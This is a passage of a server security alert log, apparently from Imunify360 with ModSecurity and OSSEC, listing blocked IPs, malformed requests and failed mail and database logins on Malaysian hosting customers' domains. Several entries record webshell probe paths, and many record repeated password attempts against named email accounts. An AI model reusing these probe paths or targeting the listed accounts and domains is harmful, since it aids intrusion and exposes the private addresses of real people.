2026-01-22 12:50:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:64174: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.147.58.213
country_id: 458258
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/tyre_safety_tips_tread_wear_indicator.html HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.22.234.117
country_id: 3175395
description:
Jan 22 12:52:40 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.22.234.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.87.4.137
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=76741515043684 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.137.4.117
country_id: 3469034
description:
Jan 22 12:53:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.137.4.117 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 208.240.28.6
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-53.208.240.28.6||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.187.189.103
country_id: 732800
description:
Jan 22 12:55:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.187.189.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.187.189.103
country_id: 732800
description:
Jan 22 12:56:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.187.189.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.214.138.101
country_id: 2510769
description:
Jan 22 12:56:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.214.138.101 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.184.22.115
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=11341523582879 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.30.84
country_id: 3017382
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-57.65.111.30.84||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.171.36.184
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/psr/http-factory/src/ServerRequestFactoryInterface.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/faq.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/hilfen-zur-wahl-eines-webhosts/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/hilfen-zur-wahl-eines-webhosts||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mustapa@astlog.com.my [01/22/2026:05:04:04 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mustapa@astlog.com.my


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-22 13:04:05 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:53946: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.47.20.196
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hen/10/394/1031348 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-22 13:05:56 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:53953: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.196.143.83
country_id: 3469034
description:
Jan 22 13:06:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.196.143.83 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:06:45 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.237
country_id: 953987
description:
Jan 22 13:07:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jan 22 13:07:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:09:07 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.227.17
country_id: 3469034
description:
Jan 22 13:09:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.227.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:10:15 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.91.49.241
country_id: 3625428
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/thirsty/136/161307 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.227.17
country_id: 3469034
description:
Jan 22 13:10:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.227.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.200.200.92
country_id: 1814991
description:
Jan 22 13:11:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.200.200.92 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.200.200.92
country_id: 1814991
description:
2026-01-22 13:11:35 dovecot_login authenticator failed for H=([218.200.200.92]) [218.200.200.92]:44506: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 93.241.232.14
country_id: 2921044
description:
Jan 22 13:12:10 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 93.241.232.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.241.232.14
country_id: 2921044
description:
2026-01-22 13:12:12 dovecot_login authenticator failed for H=p5df1e80e.dip0.t-ipconnect.de [93.241.232.14]:45801: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:12:21 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:14:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.233
country_id: 3469034
description:
Jan 22 13:15:44 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:15:52 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.233
country_id: 3469034
description:
Jan 22 13:16:00 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.233 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.61.218
country_id: 953987
description:
Jan 22 13:17:32 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.61.218 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.131.93.13
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=168586 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:18:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-22 13:18:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53066: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/wp-content/themes/images/sliders/rpl.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.26.90.10
country_id: 1814991
description:
Jan 22 13:19:16 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.26.90.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.26.90.10
country_id: 1814991
description:
2026-01-22 13:19:18 dovecot_login authenticator failed for H=([1.26.90.10]) [1.26.90.10]:54563: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.216.89.122
country_id: 1814991
description:
Jan 22 13:19:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.216.89.122 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.216.89.122
country_id: 1814991
description:
2026-01-22 13:19:40 dovecot_login authenticator failed for H=([60.216.89.122]) [60.216.89.122]:40894: 535 Incorrect authentication data (set_id=aniza@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.110.230.194
country_id: 1694008
description:
Jan 22 13:19:43 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.110.230.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.230.194
country_id: 1694008
description:
2026-01-22 13:19:45 dovecot_login authenticator failed for H=([27.110.230.195]) [27.110.230.194]:48982: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:20:25 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.110.108.109
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-20.89.110.108.109||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:21:33 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.64||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/img/photos/images/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:23:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 14.102.101.248
country_id: 1269750
description:
Jan 22 13:24:38 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 14.102.101.248 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.146.59
country_id: 6252001
description:
2026-01-22 13:25:42 530035 [Warning] Aborted connection 530035 to db: 'unconnected' user: 'unauthenticated' host: '167.94.146.59' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:25:59 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:27:06 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.121.95.127
country_id: 3469034
description:
Jan 22 13:28:34 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.121.95.127 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.221.148.108
country_id: 3469034
description:
Jan 22 13:28:57 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.221.148.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.221.148.108
country_id: 3469034
description:
Jan 22 13:29:05 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.221.148.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 22 13:29:11 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.175
country_id: 6290252
description:
Jan 22 13:30:28 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.203.211.207
country_id: 1269750
description:
Jan 22 13:30:50 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.203.211.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.136.85.54
country_id: 1269750
description:
Jan 22 13:30:08 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.136.85.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.203.211.207
country_id: 1269750
description:
Jan 22 13:31:03 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.203.211.207 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.117.16.125
country_id: 3865483
description:
Jan 22 13:31:26 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.117.16.125 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.8.3
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=66&page=2 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 198.235.24.121
country_id: 6252001
description:
2026-01-22 13:35:24 530467 [Warning] Aborted connection 530467 to db: 'unconnected' user: 'unauthenticated' host: '198.235.24.121' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.66.180.110
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=60391527237722 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.144
country_id: 690791
description:
Jan 22 13:39:55 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.2.144
country_id: 690791
description:
Jan 22 13:40:02 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.2.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.25.18.142
country_id: 1733045
description:
2026-01-22 13:42:20 dovecot_login authenticator failed for H=(NZakriAbdulGhan) [211.25.18.142]:54087: 535 Incorrect authentication data (set_id=hasmira@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.158.170.24
country_id: 1269750
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/css/poppins-font.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.210.140.136
country_id: 357994
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/wow/wow.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.19.66.12
country_id: 3865483
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/isotope/isotope.pkgd.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.100.10
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/slick/slick.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.31.36.134
country_id: 3865483
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/waypoints/jquery.waypoints.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.111
country_id: 798544
description:
Jan 22 13:42:47 sv3 auth[2729693]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.111 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.6.17
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/awards.php HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.206.115.50
country_id: 3686110
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/sweetalert/sweetalert.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.106.41.90
country_id: 99237
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/css/main.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.76.118
country_id: 1210997
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/matchHeight/jquery.matchHeight-min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.190.202.216
country_id: 1168579
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/jquery/jquery.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.81.135
country_id: 99237
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/slick/slick.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.190.157.204
country_id: 3996063
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/css-hamburgers/hamburgers.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 148.224.59.84
country_id: 3996063
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/jquery.counterup/jquery.counterup.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.27.16.251
country_id: 3489940
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/mdi-font/css/material-design-iconic-font.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 111.88.171.247
country_id: 1168579
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/font-awesome-5/css/fontawesome-all.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.162.192.172
country_id: 3996063
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/animsition/animsition.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.208.214.137
country_id: 102358
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/select2/select2.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.2.246
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.168.186.227
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/noUiSlider/nouislider.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.166.217
country_id: 1562822
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/bootstrap-4.1/bootstrap.min.css HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.60.18.127
country_id: 1269750
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/isotope/imagesloaded.pkgd.min.js HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.205.44.142
country_id: 1269750
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cofreth.com.my/vendor/mdi-font/fonts/Material-Design-Iconic-Fontd1f1.woff?v=2.2.0 HTTP/1.1||RSV:7.64||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.254.199.25
country_id: 1562822
domain: www.cofreth.com.my
description:
